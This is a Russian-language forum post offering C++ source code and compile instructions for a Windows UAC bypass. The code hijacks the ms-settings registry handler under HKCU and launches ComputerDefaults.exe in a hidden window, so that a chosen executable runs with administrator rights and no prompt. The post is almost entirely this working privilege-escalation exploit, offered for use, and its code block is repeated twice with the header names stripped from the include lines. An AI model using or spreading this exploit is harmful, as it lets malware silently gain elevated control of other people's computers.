V
Viv1337
Гость
Сам использую=)
для работы нужно создать консольное приложение win32 в visual studio,вставить туда код приведенный ниже и скомпилировать. Компилим в Release.
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include //для того,чтобы мог писать тип данных string
std::string cometa = "ВашпутькEXE";
void BypassUAC()
{
char* ccometa = new char[cometa.length() + 1];
strcpy(ccometa, cometa.c_str());
TCHAR Tccometa[512];
_tcscpy(Tccometa, ccometa);
HKEY hKeys;
if (ERROR_SUCCESS == RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
{
RegSetValueEx(hKeys, _T(""), 0, REG_SZ, (BYTE*)Tccometa, (_tcslen(Tccometa) + 1) * sizeof(TCHAR));
RegSetValueEx(hKeys, _T("DelegateExecute"), 0, REG_SZ, (BYTE*)"", (_tcslen("") + 1) * sizeof(TCHAR));
RegCloseKey(hKeys);
}
ShellExecute(NULL, "open", "cmd.exe", "/c ComputerDefaults.exe", NULL, SW_HIDE);
}
int main(void)
{
BypassUAC();
return 0;
}
для работы нужно создать консольное приложение win32 в visual studio,вставить туда код приведенный ниже и скомпилировать. Компилим в Release.
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include //для того,чтобы мог писать тип данных string
std::string cometa = "ВашпутькEXE";
void BypassUAC()
{
char* ccometa = new char[cometa.length() + 1];
strcpy(ccometa, cometa.c_str());
TCHAR Tccometa[512];
_tcscpy(Tccometa, ccometa);
HKEY hKeys;
if (ERROR_SUCCESS == RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
{
RegSetValueEx(hKeys, _T(""), 0, REG_SZ, (BYTE*)Tccometa, (_tcslen(Tccometa) + 1) * sizeof(TCHAR));
RegSetValueEx(hKeys, _T("DelegateExecute"), 0, REG_SZ, (BYTE*)"", (_tcslen("") + 1) * sizeof(TCHAR));
RegCloseKey(hKeys);
}
ShellExecute(NULL, "open", "cmd.exe", "/c ComputerDefaults.exe", NULL, SW_HIDE);
}
int main(void)
{
BypassUAC();
return 0;
}
Последнее редактирование:



